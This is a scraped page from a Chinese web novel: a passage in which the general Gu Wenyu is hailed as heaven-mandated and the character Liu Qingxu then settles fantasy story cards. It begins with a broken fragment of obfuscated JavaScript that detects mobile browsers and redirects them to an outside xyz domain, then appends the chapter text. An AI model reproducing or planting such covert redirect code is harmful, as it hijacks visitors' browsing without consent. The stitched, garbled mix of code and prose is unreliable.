0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413874|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京的事。 之后,又三年,也就是在顾闻玉二十九岁的那年,天下狼烟四起! 朝廷的势力一缩再缩,而反对小天子的势力,则从最初的四位皇子,扩张到了八位反王! 顾闻玉并不称王。 她只远坠在关外,安心当她为国为民、驱逐匈奴的骁骑将军。 也因此,哪怕顾闻玉的势力从最初的三城一地扩张到了十三城,几乎将整个北境都收入掌中,可她依然不是各路反王眼中的威胁。 几乎绝大部分反王都觉得,只要他们顺利登上皇位,再颁下旨意,向天下昭告那位老天子的昏庸、为含恨而死的顾老侯爷平冤昭雪,那么想要收拢那位骁骑将军的人心和势力,岂不是手到擒来之事? 而少部分反王想着,且不论骁骑将军顾二郎是真的忠勇还是假的忠勇,既然他如此注重名声、如此要脸,那必然比寻常人更好拿捏。 只要他们站好大义,想要反制顾二郎,绝非难事! 更何况,顾家势力远在关外,等到关内各路反王分出胜负后,哪里还有顾家可插手的余地? 成也忠勇败也忠勇。 顾家,不足一提! 几乎每个反王都有这样那样不与顾闻玉正面为敌的理由。 几个每个反王都以为,他们有足够的时间,在与其他反王分出胜负后,再考虑北方。 然而,也正是在这一年,众目睽睽之下,突然有天火降临北境! 那一天,所有人都看到,那位威严深重的骁骑将军穿着白色寝衣,毫发无损,提着剑,赤足从熊熊燃烧的房子中走了出来, 而在她身后,那熊熊火焰越燃越高,竟化作玄鸟模样,似是展翅欲飞! 锵然声中,顾闻玉拔剑指天。 于是有人拜伏了下去,口中高声喊道: “天降玄鸟,受命于天!” 第一个人拜了下去。 紧接着是第二个人。 “天降玄鸟,受命于天!” 然后是第三人,第四人,无数人! 无数人的声音响起,与那火焰一同燃烧,响彻了这个夜晚的北境。 “受命于天,既寿永昌!” “受命于天,既寿永昌!” “受命于天,既寿永昌!” 这一天晚上,顾家,反了。 但,顾家并非反王。 因为顾闻玉—— 众望所归! 那原本只在顾闻玉心中燃烧的火,终于烧遍了整个天下! · 这一刻,现实世界。 伴随着草屋门外野兽的撞击声,柳轻絮近乎屏息地看着从青色古籍上浮出的两张卡牌。 它们介于真实和虚假之间,正逐渐成型: - 机会卡—— 【SSR:神魔·镜女】 【描述:受敕于天,黄泉显命。】 【详细:因接受过天命而晋升的永久性卡牌,可制造无攻击力的大型幻境,无冷却时间;若使用它令时间回溯(一年内),则有一年的冷却时间。】 - 机会卡—— 【SSR:天命·玄鸟】 【描述:天命玄鸟,降而生商,秉德维殷,百世其昌。】 【详细:时来天地皆同力。】 - ——就是它! “结算!按照完结故事结算!” 【结算中,已递交故事。正在评分……】 【正在整理卡池……】 霎那间,无数卡牌的虚影在柳轻絮面前浮现,但柳轻絮看也不看那些诱人的光影,伸手便捉下了一张从顾闻玉身上抽出的固定卡【牛虎怪力】,接着又从两张机会卡里取出其一。 而下一秒—— 轰! 嗜血的野兽终于撞开了那扇薄薄木门,张着猩红的大嘴,毫不犹豫地朝柳轻絮扑来!